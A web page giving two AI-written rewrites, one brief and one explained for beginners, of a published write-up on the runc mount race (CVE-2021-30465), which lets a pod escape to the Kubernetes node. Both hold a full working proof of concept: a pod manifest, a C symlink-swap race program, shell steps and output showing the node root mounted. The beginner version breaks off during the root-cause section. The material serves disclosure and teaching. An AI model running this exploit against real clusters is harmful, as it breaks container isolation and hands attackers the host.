Skip to content
Race condition Write-up Advanced

Expand file tree

A race condition in runc's handling of mount destinations allowed a malicious container to mount the host root filesystem inside the container, escaping isolation. An attacker with the ability to create pods could exploit this to gain full access to the node.

Etienne Champetier Follow

Published on github.com

champtar / blog Public

Etienne Champetier / champtar, on github.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 11 min read.

Context

runc is the low-level container runtime that containerd uses to create and start containers. When a pod is created, Kubernetes prepares volumes on the node under /var/lib/kubelet/pods/$MY_POD_UID/volumes/VOLUME-TYPE/VOLUME-NAME, containerd prepares a rootfs under /run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs, and runc bind-mounts the volumes into that rootfs.

The interesting part is how runc treats the two arguments of the mount. It trusts the source and lets the kernel follow symlinks there. It does not trust the destination: it resolves the target with the filepath-securejoin library so that the resolved path stays inside the container rootfs. The bug is that this check and the subsequent mount() are two separate operations, and the path can be swapped in between.

Setup

The tests were done on a GKE cluster created with the following command:

Bash
gcloud beta container --project "delta-array-282919" clusters create "toctou" --zone "us-central1-c" --no-enable-basic-auth --cluster-version "1.18.12-gke.1200" --release-channel "rapid" --machine-type "e2-medium" --image-type "COS_CONTAINERD" --disk-type "pd-standard" --disk-size "100" --metadata disable-legacy-endpoints=true --scopes "https://www.googleapis.com/auth/devstorage.read_only","https://www.googleapis.com/auth/logging.write","https://www.googleapis.com/auth/monitoring","https://www.googleapis.com/auth/servicecontrol","https://www.googleapis.com/auth/service.management.readonly","https://www.googleapis.com/auth/trace.append" --num-nodes "3" --enable-stackdriver-kubernetes --enable-ip-alias --network "projects/delta-array-282919/global/networks/default" --subnetwork "projects/delta-array-282919/regions/us-central1/subnetworks/default" --default-max-pods-per-node "110" --no-enable-master-authorized-networks --addons HorizontalPodAutoscaling,HttpLoadBalancing --enable-autoupgrade --enable-autorepair --max-surge-upgrade 1 --max-unavailable-upgrade 0 --enable-shielded-nodes

The versions in play were Kubernetes 1.18.12, containerd 1.4.1 and runc 1.0.0-rc10, on nodes with 2 vCPUs.

The precondition for the attack is the ability to create a pod with several containers that share volumes, where one container starts and the others do not start immediately. In the proof of concept this is achieved by giving the later containers a non-existent image, and later updating the image so they start. The author notes that updating the image is not mandatory: a fast registry for the first container and a slow registry or a big container for the others would give the same one-second head start.

Finding it

In November 2020 the author was troubleshooting a container on Kubernetes that was writing heavily to local disk. The writes were temporary state, so an emptyDir tmpfs volume was added at /var/run.

Later, looking at mount output, the new tmpfs appeared mounted at /run instead of /var/run. /var/run is a symlink to ../run, and a quick test confirmed that having a mount follow symlinks is normal Linux behaviour. That raised the question of how containerd and runc keep mounts inside the container rootfs.

Following the mount code led to the comment on securejoin.SecureJoinVFS():

Text
// Note that the guarantees provided by this function only apply if the path
// components in the returned string are not modified (in other words are not
// replaced with symlinks on the filesystem) after this function has returned.
// Such a symlink race is necessarily out-of-scope of SecureJoin.

The race condition is documented right there. The remaining question was how to exploit it to escape to the Kubernetes host.

Exploitation

Step 1: create the attack pod

The pod has one container, c1, with a working image, and containers c2 to c20 with an image that does not exist, so they do not start. All containers share the test1 and test2 memory-backed emptyDir volumes. c1 mounts test1 at /test1 and test2 at /test2. Each later container mounts test1 at /test1, mounts test2 at /test1/mnt1 through /test1/mnt4, and mounts test2 at /test1/zzz. The pod UID is exposed to c1 as MY_POD_UID through the downward API.

Bash
kubectl create -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
    name: attack
spec:
    terminationGracePeriodSeconds: 1
    containers:
    - name: c1
    image: ubuntu:latest
    command: [ "/bin/sleep", "inf" ]
    env:
    - name: MY_POD_UID
        valueFrom:
        fieldRef:
            fieldPath: metadata.uid
    volumeMounts:
    - name: test1
        mountPath: /test1
    - name: test2
        mountPath: /test2
$(for c in {2..20}; do
cat <<EOC
    - name: c$c
    image: donotexists.com/do/not:exist
    command: [ "/bin/sleep", "inf" ]
    volumeMounts:
    - name: test1
        mountPath: /test1
$(for m in {1..4}; do
cat <<EOM
    - name: test2
        mountPath: /test1/mnt$m
EOM
done
)
    - name: test2
        mountPath: /test1/zzz
EOC
done
)
    volumes:
    - name: test1
    emptyDir:
        medium: "Memory"
    - name: test2
    emptyDir:
        medium: "Memory"
EOF

The many containers and many mounts give many chances for the race to be won during startup.

Step 2: compile the race binary

race is a small C program that repeatedly exchanges a directory and a symlink with renameat2(..., RENAME_EXCHANGE).

Bash
cat > race.c <<'EOF'
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/syscall.h>

int main(int argc, char *argv[]) {
    if (argc != 4) {
        fprintf(stderr, "Usage: %s name1 name2 linkdest\n", argv[0]);
        exit(EXIT_FAILURE);
    }
    char *name1 = argv[1];
    char *name2 = argv[2];
    char *linkdest = argv[3];

    int dirfd = open(".", O_DIRECTORY|O_CLOEXEC);
    if (dirfd < 0) {
        perror("Error open CWD");
        exit(EXIT_FAILURE);
    }

    if (mkdir(name1, 0755) < 0) {
        perror("mkdir failed");
        //do not exit
    }
    if (symlink(linkdest, name2) < 0) {
        perror("symlink failed");
        //do not exit
    }

    while (1)
    {
        renameat2(dirfd, name1, dirfd, name2, RENAME_EXCHANGE);
    }
}
EOF

gcc race.c -O3 -o race

It takes two names and a link destination, creates the directory name1 and the symlink name2 pointing at linkdest, then loops forever swapping the two. The mkdir and symlink failures are deliberately non-fatal, so the loop can be restarted against existing entries.

Step 3: get a shell in the first container

Bash
sleep 30 # wait for the first container to start
kubectl cp race -c c1 attack:/test1/
kubectl exec -ti pod/attack -c c1 -- bash

After the wait, the binary is copied into the shared test1 volume and a shell is opened in c1.

Step 4: create the symlink

Bash
ln -s / /test2/test2

Inside c1, /test2 is the test2 volume, so this creates a symlink named test2 inside that volume pointing at the node root /. On the node, this appears as /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2/test2 -> /.

Step 5: start the race

Bash
cd test1
seq 1 4 | xargs -n1 -P4 -I{} ./race mnt{} mnt-tmp{} /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/

Four instances of race run in parallel, each swapping mntX with mnt-tmpX, where mnt-tmpX is a symlink to the kubernetes.io~empty-dir directory on the node. The path is known in this proof of concept; the author notes that /proc/self/mountinfo leaks everything needed to find it.

Step 6: let the other containers start

Bash
for c in {2..20}; do
  kubectl set image pod attack c$c=ubuntu:latest
done

With the image now resolvable, containers c2 to c20 start and perform their mounts while the race is running.

Step 7: check the result

Text
~~ Container c2 ~~
test2
~~ Container c3 ~~
test2
~~ Container c4 ~~
test2
~~ Container c5 ~~
bin   dev  home  lib64     mnt  postinst  root  sbin tmp  var
boot  etc  lib lost+found  opt  proc    run   sys  usr
~~ Container c6 ~~
bin   dev  home  lib64     mnt  postinst  root  sbin tmp  var
boot  etc  lib lost+found  opt  proc    run   sys  usr
~~ Container c7 ~~
error: unable to upgrade connection: container not found ("c7")
~~ Container c8 ~~
test2
~~ Container c9 ~~
bin  boot  dev etc  home  lib lib64  lost+found  mnt opt  postinst  proc  root  run sbin  sys  tmp usr  var
~~ Container c10 ~~
test2
~~ Container c11 ~~
bin   dev  home  lib64     mnt  postinst  root  sbin tmp  var
boot  etc  lib lost+found  opt  proc    run   sys  usr
~~ Container c12 ~~
test2
~~ Container c13 ~~
test2
~~ Container c14 ~~
test2
~~ Container c15 ~~
bin  boot  dev etc  home  lib lib64  lost+found  mnt opt  postinst  proc  root  run sbin  sys  tmp usr  var
~~ Container c16 ~~
error: unable to upgrade connection: container not found ("c16")
~~ Container c17 ~~
error: unable to upgrade connection: container not found ("c17")
~~ Container c18 ~~
bin  boot  dev etc  home  lib lib64  lost+found  mnt opt  postinst  proc  root  run sbin  sys  tmp usr  var
~~ Container c19 ~~
error: unable to upgrade connection: container not found ("c19")
~~ Container c20 ~~
test2

Containers showing test2 were not affected. Containers listing the node root filesystem were exploited. Some containers failed to start. On the first run of the proof of concept, 6 containers out of 19 had /test1/zzz pointing at / on the node, some failed to start, and the rest were unaffected.

Root cause

On the node, before the race, the relevant paths look like this:

Text
/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mnt1
/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mnt-tmp1 -> /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mnt2 -> /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mnt-tmp2
...
/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2/test2 -> /

When the later containers start, runc performs mounts of the form:

Text
mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs/test1/mntX)

Because the volume is bind-mounted into the container rootfs, this is equivalent to:

Text
mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mntX)

The sequence inside runc is:

  1. runc calls securejoin.SecureJoin() to resolve the destination.
  2. runc calls mount().

If mntX is a directory when SecureJoin() runs and has become a symlink by the time mount() runs, the kernel follows the symlink and the mount lands elsewhere:

Text
mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/)

After that, the filesystem looks like:

Text
/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2 -> /

The final mount:

Text
mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs/test1/zzz)

resolves to:

Text
mount(/, /run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs/test1/zzz)

which gives the container full access to the node root, including /dev, /proc, and the tmpfs and overlay filesystems of other containers.

runc calls unshare(CLONE_NEWNS) and sets mount propagation to MS_SLAVE, so the mounts do not affect other containers or the node directly. That is also why an early attempt to mount the tmpfs volume over a host path such as /root/.ssh did not work: the mounts happen in a new mount namespace with the right propagation, so they are not visible in the host mount namespace.

Kubernetes does not give the attacker control over the mount source, but it does give full control over the mount target, which is enough. The author also notes that the vulnerability exists because untrusted or restricted container definitions were not part of the initial threat model of Docker and runc and were added later by Kubernetes. Kubernetes is sometimes described as multi-tenant, but that should be understood as multiple trusted teams, not as giving API access to strangers.

Impact

An attacker who can create a pod with multiple containers sharing volumes can, when the race is won, obtain a mount of the node root filesystem inside a container. From there the whole node root is accessible, including /dev, /proc, and the tmpfs and overlay filesystems of other containers. The race is not deterministic: on the first try running the POC, 6 of 19 containers were exploited, some failed to start, and the rest were unaffected. The author also tested against GKE Autopilot, Google's fully managed Kubernetes offering launched on 24 February with an emphasis on security and theoretically no access to the node, and reported it to Google after testing.

Fix

The report does not describe the code change itself. The advisory was published on GitHub and on OSS-Security at the end of the embargo on 19 May 2021. As a workaround, the author suggests forbidding mounting volumes inside volumes, while recommending an upgrade as usual. In the closing comments he observes that even with newer syscalls such as openat2() you still need mount(/proc/self/fd/X, /proc/self/fd/Y) to be race free, and wonders how useful a new mount flag that fails when one of the parameters is a symlink would be, calling the current situation a huge footgun.

Variants to test

  • Try the same symlink-exchange race against any runtime that resolves a mount destination with a path-based check and then calls mount() separately. A positive result is a mount appearing at a path outside the intended rootfs, for example the node root visible inside a container.
  • Look for other places where a path is validated and then used, with a window in between: volume mounts, bind mounts, and any code that follows the SecureJoin pattern. A positive result is the validated path being replaced by a symlink before use.
  • On Kubernetes, test pods with several containers sharing volumes where one starts well before the others, for example through image pull timing. A positive result is a container whose mount target lists the node filesystem instead of the volume contents.
  • Check whether /proc/self/mountinfo inside a container reveals the host volume paths, as the author notes it leaks everything needed to find them. A positive result is the kubernetes.io~empty-dir paths being readable from inside the container.
  • Test whether a mount flag or syscall that refuses symlink arguments would close the window, and whether openat2()-based resolution combined with mount(/proc/self/fd/X, /proc/self/fd/Y) removes the race. A positive result is the race no longer producing a mount outside the rootfs.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 23 min read.

What happened, in plain words

A researcher found a way to break out of a container and reach the machine that runs it. Containers are meant to be sealed boxes: a program inside one should only see its own files, not the files of the computer underneath. The bug let a container see the whole filesystem of the machine it runs on.

The bug was in runc, a small program that does the low-level work of setting up containers. When a container starts, runc has to attach (mount) shared folders into the container's private filesystem. It checks where those folders are allowed to go, then attaches them. The check and the attach are two separate moments, and in between them an attacker can swap the destination for a shortcut (a symlink) that points somewhere else. This kind of "check first, use later, and something changes in between" flaw is called a time-of-check to time-of-use bug, or TOCTOU.

The researcher first noticed something odd while doing ordinary troubleshooting, followed the code, found a comment that openly admitted the race existed, and then built a working proof of concept on Google Kubernetes Engine (GKE). He reported it to the runc maintainers in December 2020, later reported it to Google for GKE Autopilot, received a bounty which he said would be donated to Handicap International, and published the write-up on 30 May 2021 after the fix was out.

The pieces involved, explained from zero

Before the steps make sense, here is what each moving part is.

  • Container: a way of running a program in its own isolated view of the computer. It sees its own files and processes, as if it had a machine to itself, while actually sharing the real machine (the node) with others. Think of separate flats in one building: each flat has its own front door and its own rooms, but they share the same building.
  • Kubernetes (K8s): a system that runs many containers across many machines and keeps them healthy. You describe what you want (a pod, see below) and Kubernetes places it on a machine and starts it.
  • Pod: the smallest unit Kubernetes schedules. A pod is one or more containers that are always placed together on the same machine and can share storage. Think of a pod as a flat shared by several people.
  • Node: one physical or virtual machine in a Kubernetes cluster. The node is the building; pods are the flats.
  • Volume: a folder that is made available to a container and can be shared between containers in the same pod. An emptyDir volume is a scratch folder created fresh when the pod starts; with medium: "Memory" it lives in RAM rather than on disk.
  • Mount: attaching a folder from one place so that it appears at another place. If you mount folder A at path B, then looking inside B shows you the contents of A. On Linux this is done with the mount() system call (a system call is a request a program makes to the operating system kernel).
  • Symlink (symbolic link): a shortcut file that points at another path. Opening the symlink opens the target instead. Like a sign in a corridor saying "the kitchen is that way".
  • Root filesystem (rootfs): the top-level folder tree a container sees as /. Everything inside the container lives under it.
  • runc: the program that actually creates a container: it sets up the isolated filesystem, attaches the volumes, and starts the first process.
  • containerd: the program that manages containers on a node and calls runc to do the low-level work.
  • kubectl: the command-line tool used to talk to a Kubernetes cluster: create pods, run commands inside containers, change images.
  • Image: the packaged filesystem and starting command for a container, stored in a registry (an online library of images). If the image name does not exist, the container cannot start.
  • Namespace (mount namespace): an isolated view of what is mounted where. Two processes in different mount namespaces can have completely different ideas of what is attached at a given path. This is what keeps one container's mounts from appearing in another's.
  • Race condition: a bug that only appears when two things happen at almost the same time in an unlucky order. Like two people grabbing for the same seat: usually one wins cleanly, sometimes the outcome is wrong.
  • TOCTOU (time-of-check to time-of-use): a specific race where a program checks something, and by the time it acts on the check, the thing has changed.
  • renameat2 with RENAME_EXCHANGE: a Linux system call that atomically swaps two filesystem entries. "Atomically" means it happens in one indivisible step, so an observer sees either the before or the after, never a half-done state.
  • securejoin / SecureJoinVFS(): a helper library used to resolve a path safely, so that following symlinks cannot lead outside a chosen root folder.
  • strace: a tool that shows every system call a program makes, useful for understanding what a program is really doing.
  • /proc/self/mountinfo: a file inside a running Linux system that lists everything currently mounted, from the point of view of the reading process.
  • CVE: a public identifier for a known security flaw, so people can refer to it unambiguously. This one is CVE-2021-30465.
  • Bounty: a reward paid by a company to someone who reports a security problem responsibly.
  • Embargo: a period during which a reported flaw is kept private so the vendor can fix it before attackers learn about it.
  • GKE (Google Kubernetes Engine): Google's managed Kubernetes service. GKE Autopilot is a variant where Google manages the nodes entirely.

How the researcher found it

In November 2020 the author was troubleshooting a container on Kubernetes that was writing heavily to the local disk. The writes were only temporary state, so he added an emptyDir tmpfs volume at /var/run (tmpfs is a filesystem kept in RAM). He opened a ticket so the developers would make the change permanent, and moved on.

Later, looking at the output of the mount command, he noticed the new tmpfs was mounted at /run rather than /var/run. That surprised him. The reason is that /var/run is itself a symlink to ../run, and a quick test confirmed that having a mount follow a symlink is normal Linux behaviour. That raised a question: if mounts follow symlinks, how do containerd and runc make sure a mount ends up inside the container's rootfs and not somewhere on the host?

Following the code responsible for mounts led him to the comment on securejoin.SecureJoinVFS():

Text
// Note that the guarantees provided by this function only apply if the path
// components in the returned string are not modified (in other words are not
// replaced with symlinks on the filesystem) after this function has returned.
// Such a symlink race is necessarily out-of-scope of SecureJoin.

In plain words, this comment says: this function only keeps you safe if nobody changes the path after it has checked it. If someone replaces a part of the path with a symlink after the check, the function cannot help. The race condition is documented right there in the code. The remaining question was how to turn that into an escape from a container to the Kubernetes host.

The setup used for testing

The tests were done on a GKE cluster created with the following command:

Bash
gcloud beta container --project "delta-array-282919" clusters create "toctou" --zone "us-central1-c" --no-enable-basic-auth --cluster-version "1.18.12-gke.1200" --release-channel "rapid" --machine-type "e2-medium" --image-type "COS_CONTAINERD" --disk-type "pd-standard" --disk-size "100" --metadata disable-legacy-endpoints=true --scopes "https://www.googleapis.com/auth/devstorage.read_only","https://www.googleapis.com/auth/logging.write","https://www.googleapis.com/auth/monitoring","https://www.googleapis.com/auth/servicecontrol","https://www.googleapis.com/auth/service.management.readonly","https://www.googleapis.com/auth/trace.append" --num-nodes "3" --enable-stackdriver-kubernetes --enable-ip-alias --network "projects/delta-array-282919/global/networks/default" --subnetwork "projects/delta-array-282919/regions/us-central1/subnetworks/default" --default-max-pods-per-node "110" --no-enable-master-authorized-networks --addons HorizontalPodAutoscaling,HttpLoadBalancing --enable-autoupgrade --enable-autorepair --max-surge-upgrade 1 --max-unavailable-upgrade 0 --enable-shielded-nodes

This is a single command that asks Google Cloud to build a Kubernetes cluster. gcloud is Google's command-line tool for its cloud. clusters create "toctou" names the new cluster toctou, after the class of bug. The flags set the zone, the Kubernetes version, the machine type for the nodes, the number of nodes, networking, and various maintenance options. You do not need to understand every flag to follow the attack; the point is that this records exactly which environment the test ran in.

The versions in play were Kubernetes 1.18.12, containerd 1.4.1 and runc 1.0.0-rc10, on nodes with 2 vCPUs.

The precondition for the attack is the ability to create a pod with several containers that share volumes, where one container starts and the others do not start immediately. In the proof of concept this is achieved by giving the later containers a non-existent image, and later updating the image so they start. The author notes that updating the image is not mandatory: a fast registry for the first container and a slow registry or a big container for the others would give the same one-second head start.

Exploitation, step by step

Step 1: create the attack pod

The pod has one container, c1, with a working image, and containers c2 to c20 with an image that does not exist, so they do not start. All containers share the test1 and test2 memory-backed emptyDir volumes. c1 mounts test1 at /test1 and test2 at /test2. Each later container mounts test1 at /test1, mounts test2 at /test1/mnt1 through /test1/mnt4, and mounts test2 at /test1/zzz. The pod UID is exposed to c1 as MY_POD_UID through the downward API (a Kubernetes feature that passes information about the pod into its containers as environment variables).

Bash
kubectl create -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
    name: attack
spec:
    terminationGracePeriodSeconds: 1
    containers:
    - name: c1
    image: ubuntu:latest
    command: [ "/bin/sleep", "inf" ]
    env:
    - name: MY_POD_UID
        valueFrom:
        fieldRef:
            fieldPath: metadata.uid
    volumeMounts:
    - name: test1
        mountPath: /test1
    - name: test2
        mountPath: /test2
$(for c in {2..20}; do
cat <<EOC
    - name: c$c
    image: donotexists.com/do/not:exist
    command: [ "/bin/sleep", "inf" ]
    volumeMounts:
    - name: test1
        mountPath: /test1
$(for m in {1..4}; do
cat <<EOM
    - name: test2
        mountPath: /test1/mnt$m
EOM
done
)
    - name: test2
        mountPath: /test1/zzz
EOC
done
)
    volumes:
    - name: test1
    emptyDir:
        medium: "Memory"
    - name: test2
    emptyDir:
        medium: "Memory"
EOF

What this does, piece by piece:

  • kubectl create -f - <<EOF ... EOF tells kubectl to read a description of an object from standard input (the - after -f) and create it. Everything between EOF and EOF is that description, written in YAML, a human-friendly data format.
  • kind: Pod says we are creating a pod, and name: attack gives it a name.
  • terminationGracePeriodSeconds: 1 makes the pod shut down quickly when asked.
  • The containers: list describes each container. The first entry, c1, uses ubuntu:latest (a normal Ubuntu image) and runs /bin/sleep inf, which just sleeps forever so the container stays alive.
  • The env: block creates an environment variable MY_POD_UID whose value is taken from metadata.uid, the pod's unique identifier. This is the downward API: it lets the container know its own pod UID, which is needed later to build the path on the node.
  • volumeMounts: says where each volume appears inside the container. c1 sees test1 at /test1 and test2 at /test2.
  • The $(for c in {2..20}; do ... done) part is shell code that generates the YAML for containers c2 through c20. Each of them uses the image donotexists.com/do/not:exist, which does not exist, so they cannot start. Each mounts test1 at /test1, and then, through the inner $(for m in {1..4}; do ... done), mounts test2 at /test1/mnt1, /test1/mnt2, /test1/mnt3 and /test1/mnt4. Finally each mounts test2 at /test1/zzz.
  • The volumes: block defines the two volumes, both emptyDir with medium: "Memory", so they live in RAM.

The many containers and many mounts give many chances for the race to be won during startup. Each later container performs several mounts, and each mount is one opportunity for the swap to land at the wrong moment.

Step 2: compile the race binary

race is a small C program that repeatedly exchanges a directory and a symlink with renameat2(..., RENAME_EXCHANGE).

Bash
cat > race.c <<'EOF'
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/syscall.h>

int main(int argc, char *argv[]) {
    if (argc != 4) {
        fprintf(stderr, "Usage: %s name1 name2 linkdest\n", argv[0]);
        exit(EXIT_FAILURE);
    }
    char *name1 = argv[1];
    char *name2 = argv[2];
    char *linkdest = argv[3];

    int dirfd = open(".", O_DIRECTORY|O_CLOEXEC);
    if (dirfd < 0) {
        perror("Error open CWD");
        exit(EXIT_FAILURE);
    }

    if (mkdir(name1, 0755) < 0) {
        perror("mkdir failed");
        //do not exit
    }
    if (symlink(linkdest, name2) < 0) {
        perror("symlink failed");
        //do not exit
    }

    while (1)
    {
        renameat2(dirfd, name1, dirfd, name2, RENAME_EXCHANGE);
    }
}
EOF

gcc race.c -O3 -o race

Line by line:

  • cat > race.c <<'EOF' ... EOF writes the C source code into a file called race.c. The quoted 'EOF' means the shell does not try to interpret anything inside, so the code is written exactly as typed.
  • #define _GNU_SOURCE and the #include lines pull in the standard C headers needed for file operations, error printing, and system calls.
  • int main(int argc, char *argv[]) is the entry point. The program expects three arguments after its own name: name1, name2 and linkdest.
  • if (argc != 4) checks that exactly three arguments were given (the program name counts as one), and prints a usage message and exits otherwise.
  • char *name1 = argv[1]; and the next two lines simply give the arguments readable names.
  • int dirfd = open(".", O_DIRECTORY|O_CLOEXEC); opens the current directory and keeps a handle to it. O_DIRECTORY says it must be a directory; O_CLOEXEC says the handle should not leak into child programs.
  • if (mkdir(name1, 0755) < 0) creates the directory name1 with permissions 0755 (owner can read, write and enter; others can read and enter). If it already exists, an error is printed but the program continues, because the comment //do not exit says so deliberately.
  • if (symlink(linkdest, name2) < 0) creates a symlink named name2 pointing at linkdest. Again, failure is not fatal, so the program can be restarted against existing entries.
  • while (1) { renameat2(dirfd, name1, dirfd, name2, RENAME_EXCHANGE); } is the heart of the program: an endless loop that swaps the two entries, name1 and name2, in one atomic step. After each swap, the directory and the symlink have traded places. Repeating this thousands of times per second means that anyone looking at either name sees it flip between "directory" and "symlink" unpredictably.
  • gcc race.c -O3 -o race compiles the source into an executable called race, with optimisation level 3 so it runs fast.

Step 3: get a shell in the first container

Bash
sleep 30 # wait for the first container to start
kubectl cp race -c c1 attack:/test1/
kubectl exec -ti pod/attack -c c1 -- bash
  • sleep 30 pauses for 30 seconds to give the first container time to start.
  • kubectl cp race -c c1 attack:/test1/ copies the compiled race binary from the local machine into container c1 of pod attack, into the shared test1 volume. Because the volume is shared, the binary is now visible to the other containers too.
  • kubectl exec -ti pod/attack -c c1 -- bash opens an interactive shell (bash) inside container c1. The -ti flags make it interactive with a terminal.

After this, you have a shell inside c1, from which the next steps are run.

Step 4: create the symlink

Bash
ln -s / /test2/test2

Inside c1, /test2 is the test2 volume, so this creates a symlink named test2 inside that volume pointing at the node root /. On the node, this appears as /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2/test2 -> /. In other words, a shortcut has been planted inside a shared folder that, if followed, leads to the top of the node's filesystem.

Step 5: start the race

Bash
cd test1
seq 1 4 | xargs -n1 -P4 -I{} ./race mnt{} mnt-tmp{} /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
  • cd test1 moves into the shared test1 volume, where the race binary was copied.
  • seq 1 4 prints the numbers 1 to 4, one per line.
  • | xargs -n1 -P4 -I{} feeds those numbers to xargs, which runs a command once per number (-n1), up to four at a time in parallel (-P4), substituting each number for {} (-I{}).
  • ./race mnt{} mnt-tmp{} /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/ runs the race program with name1 set to mnt1 through mnt4, name2 set to mnt-tmp1 through mnt-tmp4, and linkdest set to the node's kubernetes.io~empty-dir directory.

So four instances of race run in parallel, each swapping mntX with mnt-tmpX, where mnt-tmpX is a symlink to the kubernetes.io~empty-dir directory on the node. The path is known in this proof of concept; the author notes that /proc/self/mountinfo leaks everything needed to find it.

Step 6: let the other containers start

Bash
for c in {2..20}; do
  kubectl set image pod attack c$c=ubuntu:latest
done

This loop changes the image of containers c2 through c20 to ubuntu:latest, which does exist. With the image now resolvable, containers c2 to c20 start and perform their mounts while the race is running. This is the moment the trap is sprung: each of those containers asks runc to attach the shared volumes, and runc checks the destination and then mounts it, with the race flipping the destination in between.

Step 7: check the result

This loop, for each container, prints a header and then lists the contents of /test1/zzz inside that container. If the attack worked, /test1/zzz is no longer the test2 volume but the node's root filesystem, so the listing shows the node's top-level folders instead of the volume's contents.

Text
~~ Container c2 ~~
test2
~~ Container c3 ~~
test2
~~ Container c4 ~~
test2
~~ Container c5 ~~
bin   dev  home  lib64     mnt  postinst  root  sbin tmp  var
boot  etc  lib lost+found  opt  proc    run   sys  usr
~~ Container c6 ~~
bin   dev  home  lib64     mnt  postinst  root  sbin tmp  var
boot  etc  lib lost+found  opt  proc    run   sys  usr
~~ Container c7 ~~
error: unable to upgrade connection: container not found ("c7")
~~ Container c8 ~~
test2
~~ Container c9 ~~
bin  boot  dev etc  home  lib lib64  lost+found  mnt opt  postinst  proc  root  run sbin  sys  tmp usr  var
~~ Container c10 ~~
test2
~~ Container c11 ~~
bin   dev  home  lib64     mnt  postinst  root  sbin tmp  var
boot  etc  lib lost+found  opt  proc    run   sys  usr
~~ Container c12 ~~
test2
~~ Container c13 ~~
test2
~~ Container c14 ~~
test2
~~ Container c15 ~~
bin  boot  dev etc  home  lib lib64  lost+found  mnt opt  postinst  proc  root  run sbin  sys  tmp usr  var
~~ Container c16 ~~
error: unable to upgrade connection: container not found ("c16")
~~ Container c17 ~~
error: unable to upgrade connection: container not found ("c17")
~~ Container c18 ~~
bin  boot  dev etc  home  lib lib64  lost+found  mnt opt  postinst  proc  root  run sbin  sys  tmp usr  var
~~ Container c19 ~~
error: unable to upgrade connection: container not found ("c19")
~~ Container c20 ~~
test2

How to read this output:

  • Containers showing test2 were not affected: /test1/zzz still shows the contents of the test2 volume, which contains the symlink named test2 created in step 4.
  • Containers listing bin, boot, dev, etc, home, lib, lib64, lost+found, mnt, opt, postinst, proc, root, run, sbin, sys, tmp, usr, var were exploited: that is the node's root filesystem, not the volume.
  • Containers reporting error: unable to upgrade connection: container not found failed to start.

On the first run of the proof of concept, 6 containers out of 19 had /test1/zzz pointing at / on the node, some failed to start, and the rest were unaffected. This is expected for a race: it is not deterministic.

Why it works: the root cause

On the node, before the race, the relevant paths look like this:

Text
/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mnt1
/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mnt-tmp1 -> /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mnt2 -> /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mnt-tmp2
...
/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2/test2 -> /

This shows the state of the shared folders on the node. mnt1 is a real directory; mnt-tmp1 is a symlink pointing at the parent kubernetes.io~empty-dir folder; mnt2 is a symlink and mnt-tmp2 is a directory; and so on, because the race program keeps swapping them. The last line shows the symlink planted in step 4, pointing at /.

When the later containers start, runc performs mounts of the form:

Text
mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs/test1/mntX)

This says: attach the test2 volume at the path .../rootfs/test1/mntX inside the container's rootfs. Because the volume is bind-mounted into the container rootfs, this is equivalent to:

Text
mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mntX)

In other words, the destination inside the container is really the same folder on the node, seen through the container's view.

The sequence inside runc is:

  1. runc calls securejoin.SecureJoin() to resolve the destination.
  2. runc calls mount().

